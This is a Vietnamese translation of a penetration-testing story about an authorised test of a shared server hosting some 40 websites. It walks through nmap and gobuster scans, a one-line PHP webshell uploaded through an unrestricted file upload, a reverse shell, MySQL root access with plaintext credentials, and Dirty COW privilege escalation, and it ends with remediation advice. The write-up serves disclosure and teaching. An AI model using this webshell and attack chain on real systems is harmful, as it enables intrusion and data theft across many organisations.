Bài viết dưới đây được dịch từ câu chuyện của Georgios Konstantopoulos, sinh viên ngành điện và máy tính tại Hy Lạp.
Mùa hè vừa rồi, tôi học về bảo mật thông tin và hacking. Năm qua, tôi đã học hỏi nhiều và liên tục cải thiện kĩ năng hack của mình, học cách “làm máy tính hoạt động theo cách người khác chưa bao giờ nghĩ tới”.
Kinh nghiệm của tôi luôn giới hạn trong môi trường giả lập và tôi tự cho mình là 1 hacker mũ trắng, không bao giờ nhúng mũi vào chuyện của người khác. Nhưng bây giờ, tôi sẽ kể chi tiết cách mà tôi đã hack vào máy chủ chứa 40 website.
Lưu ý: Cần có kiến thức khoa học máy tính để hiểu các chi tiết kỹ thuật dưới đây.
Một người bạn nói với tôi website của anh ấy có lỗ hổng XSS và muốn tôi xem thử. Việc này quan trọng nên tôi phải hỏi để anh ấy cho phép thực hiện kiểm tra ứng dụng web và cả máy chủ host nó. Câu trả lời là có.
Từ giờ, tôi sẽ tạm gọi website của bạn tôi là http://example.com/
Đầu tiên là tìm nhiều thông tin nhất có thể về đối thủ và cố gắng không đánh động họ. Chúng tôi bắt đầu quét, mất khoảng 2 phút.
$ nmap --top-ports 1000 -T4 -sC http://example.com
Nmap scan report for example.com {redacted}
Host is up (0.077s latency).
rDNS record for {redacted}: {redacted}
Not shown: 972 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
| ssh-hostkey:
| {redacted}
80/tcp open http
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Victim Site
139/tcp open netbios-ssn
443/tcp open https
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_{redacted}
445/tcp open microsoft-ds
5901/tcp open vnc-1
| vnc-info:
| Protocol version: 3.8
| Security types:
|_ VNC Authentication (2)
8080/tcp open http-proxy
|_http-title: 400 Bad Request
8081/tcp open blackice-iceca
p
Kết quả ra rất nhiều cổng đang mở. Nhận thấy FTP (cổng 21) và SMB (cổng 139/445) đang mở, chúng tôi đoán máy chủ được dùng để host file và chia sẻ file, đồng thời cũng là webserver (cổng 80/443 và proxy 8080/8081). Nếu thông tin vừa quét được không đủ, sẽ cần quét UDP và hơn 1000 cổng nữa. Cổng duy nhất mà chúng tôi được phép tương tác mà không cần xác thực là 80/443.
Không phí thời gian, tôi chạy gobuster https://github.com/OJ/gobuster để tìm xem có file nào thú vị trên webserver, đồng thời cũng tìm thông tin thủ công.
$ gobuster -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
/admin
/login
Hóa ra đường dẫn /admin là một công cụ của admin để những người dùng đã xác thực có thể chỉnh sửa trên webserver. Nó cần thông tin đăng nhập mà chúng tôi không có cả tên người dùng lẫn mật khẩu nên đành bỏ qua. (gobuster chẳng tìm được gì giá trị cả).
Vậy là đã 3 phút trôi qua vô ích.
Khi mở website, tôi thấy nó đòi đăng nhập. Chúng tôi tạo tài khoản bằng email rác, bấm vào link xác nhận trong email và đăng nhập. Website chuyển hướng tới trang Profile và chúng tôi cập nhật thông tin trên đây.
Thấy website trông có vẻ như được tùy biến (custom), tôi thử kiểm tra xem có lỗ hổng Unrestricted File Upload không (lỗ hổng tải file). Trên Terminal, tôi thực thi đoạn mã:
echo "<?php system(\$_GET['cmd']); ?>" > exploit.php
Tôi thử tải “image” và cuối cùng file exploit.php được tải lên. Tất nhiên nó không có thumbnail nhưng cũng có nghĩa là file của tôi đã tải lên đâu đó.
Có được địa điểm để khai thác
Chúng tôi nghĩ sẽ có kiểm tra phần đuôi mở rộng, thay bằng các đuôi như .jpeg hay .jpg để tránh thực thi đoạn mã từ xa nếu có kẻ tấn công tải mã độc lên. Chúng ta ai chẳng quan tâm tới bảo mật, đúng không?
`Copy image address` results in the following url being copied to our clipboard:
http://www.example.com/admin/ftp/objects/XXXXXXXXXXXX.php
Vậy là có vẻ webshell của chúng ta đã sẵn sàng.
Webshell đã sẵn sàng hoạt động
Nhận thấy webserver chạy kịch bản perl, chúng tôi lấy một đoạn reverse shell (loại shell mà mục tiêu giao tiếp ngược lại với kẻ tấn công) trên phao http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet sau đó đặt IP/cổng và nhận được quyền truy cập rất thấp. (Xin lỗi vì đoạn này không có ảnh chụp).
5 phút trôi qua mà mới chỉ được quyền rất thấp thôi.
Ngạc nhiên thay, máy chủ không chỉ host 1 website mà có tới 40 trang. Buồn là tôi không giữ ảnh chụp màn hình chi tiết nhưng danh sách nằm sau đoạn này:
$ ls /var/www
access.log site1/ site2/ site3/ {... the list goes on}
Bạn hiểu rồi đấy. Truy cập vào tất cả các website được host ở đây nghĩa là tôi có thể đọc tất cả các đoạn code backend của tất cả các trang. Nhưng tôi tự giới hạn mình trên code của trang example.com thôi. Bên trong thư mục cgi-admin/pages tất cả các kịch bản perl đều kết nối tới cơ sở dữ liệu MySQL với quyền root. Thông tin để đăng nhập cũng lộ rõ dưới dạng text. Tạm giả sử tên và mật khẩu là root : pwned42.
Chắc chắn máy chủ chạy MariaDB nên tôi phải đọc về vấn đề này trên GitHub https://github.com/dockerfile/mariadb/issues/3 trước khi truy cập vào cơ sở dữ liệu. Sau đó chúng tôi thực thi đoạn code:
mysql -u root -p -h localhost victimdbname
Password: pwned42
Và thế là chúng tôi đã nằm trong cơ sở dữ liệu với quyền root.
“use databasename;” cho phép chúng tôi truy cập được 35 cơ sở dữ liệu, đọc và sửa bất cứ nội dung nào.
Vậy là chỉ sau 7 phút, chúng tôi đã có quyền đọc/sửa nội dung của 35 cơ sở dữ liệu.
Đến đây thì lương tâm khiến tôi buộc phải dừng lại và công bố những gì mình tìm thấy. Tổn thất sẽ là rất lớn nếu có kẻ tấn công, có thể kể như:
- Cuỗm sạch nội dung trên tất cả cơ sở dữ liệu, như được mô tả ở đây https://stackoverflow.com/questions/9497869/export-and-import-all-mysql-databases-at-one-time dẫn tới dữ liệu của 35 công ty sẽ rò rỉ ra ngoài.
- Xóa tất cả 35 cơ sở dữ liệu.
- Để lại cửa hậu và sau này tiếp tục truy cập bằng cronjob (làm các việc lặp đi lặp lại) như mô tả tại đây. http://blog.tobiasforkel.de/en/2015/03/19/setup-cron-job-for-apache-user/
Cần lưu ý là quy trình MySQL chạy dưới quyền root. Tôi thử chạy \! whoami để lấy quyền root nhưng không thành công.
Còn chuyện gì có thể xảy ra?
Sau khi báo cáo kết quả, tôi được phép đào sâu hơn. Trước khi tìm cách nâng lên thành quyền root và gây thiệt hại lớn hơn nữa, tôi xem quyền hiện tại có tìm được file nào hay không.
Lúc này tôi nhớ tới cổng SMB đang mở, nghĩa là phải có một thư mục chung mà người dùng cùng để file ở đâu đó. Sau vài lần liệt kê thì đây là thứ xuất hiện trong thư mục /home/samba/secured thứ lỗi phải che hơi nhiều.
File của tất cả các công ty
Bên trong tất cả các thư mục này, có các file của từng người dùng của từng công ty, gồm đủ kiểu dữ liệu nhạy cảm như:
- File .psd, .ai (các nhà thiết kế chắc biết rõ)
- Cookies sqlite
- Hóa đơn
- Eboook
- Thông tin đăng nhập WiFi SSIDS
Với những thứ này, kẻ tấn công có thể:
- Ngồi bên ngoài văn phòng công ty nhưng đăng nhập vào mạng nội bộ và thực hiện đủ kiểu tấn công.
- Cuỗm sạch dữ liệu và tung ra công chúng.
- Để xem hết các thư mục và nhận ra tầm quan trọng của vấn đề cũng mất khá nhiều thời gian.
Cú quyết định
Sau khi lượn lờ vài vòng, tôi quyết định bắt con cá lớn, quyền truy cập root. Tôi tham khảo trang phao https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ và bắt đầu tìm file.
Do đã vận dụng hết khá nhiều kỹ thuật rồi nên dường như tôi không tìm được gì mấy nữa. Rồi tôi sực nhớ ra. Với các thử thách CTF (Capture the Flag) trước đây, OS thường được vá nhưng thi thoảng lại cố ý bị thiết lập sai, cho bạn quyền root. Mọi người vẫn hay vá mà.
Server đang chạy bản Linux nào?
$ cat /etc/issue
CentOS Linux release 7.2.1511 (Core)
Còn bản kernel thì sao?
Bản Kernel của server Linux
Có vẻ là một bản kernel cũ rồi. Tôi tìm được trên trang blog này http://davemacaulay.com/easily-test-dirty-cow-cve-2016-5195-vulnerability/ cách kiểm tra xem Kernel có bị lỗ hổng hay không bằng kịch bản dưới đây.
Kiểm tra Kernel có bị lỗ hổng không
Sau đó là:
Chiếm quyền root
Vậy là xong. Tôi viết ngay một email trình bày chi tiết các bước cùng với tác động của từng bước mà tôi đã làm và khép lại một đêm rất thú vị.
Tổng kết đây là những gì kẻ tấn công có thể làm:
- Đọc, chỉnh sửa tất cả file trên server
- Để lại cửa hậu
- Cài và phát tán mã độc trên mạng nội bộ của server
- Cài mã độc tống tiền
- Dùng server để đào tiền ảo
- Dùng server như một proxy
- Dùng server làm máy chủ C2C
- Đưa server vào botnet
- Tùy bạn tự ý tưởng tượng…
Hôm sau, bạn tôi (đã liên hệ với công ty điều hành server) nói rằng lỗi khi tải file lên đã được sửa.
Chung quy lại, chúng tôi đã tìm ra:
- Ứng dụng web có lỗ hổng Unrestricted File Upload, dẫn tới quyền truy cập thấp
- Thông tin đăng nhập cơ sở dữ liệu MySQL, dẫn tới quyền đọc/viết 35 cơ sở dữ liệu
- Nhiều file nhạy cảm
- Cuối cùng là lợi dụng kernel chưa được vá để chiếm quyền root.
Một số giải pháp đề xuất
Bắt đầu là lỗi tải file. Vì code backend của ứng dụng web này được viết bằng perl, mà tôi không biết ngôn ngữ này nên không thể đưa ra giải pháp nào. Một gợi ý là không nên dùng perl, đã là năm 2017 rồi mà.
Bên cạnh hệ thống file, tôi khuyến khích cẩn thận khi trao quyền file cho người dùng, theo quy luật quyền tối thiểu. Khi đó ngay cả người dùng có quyền thấp truy cập cũng không đọc được.
Chạy tất cả website trên 1 server không phải ý hay. Dùng chung thông tin xác thực cho tất cả database cũng không phải ý hay.
Cuối cùng là vá mọi thứ. Chỉ cần 1 lệnh thôi, với CentOS là thế này.
su -c 'yum update'
Cảm ơn bạn đã đọc, xin lỗi vì bài viết hơi dài. Tôi muốn nói kĩ vì đây là chuyện quan trọng mà.
Xem thêm: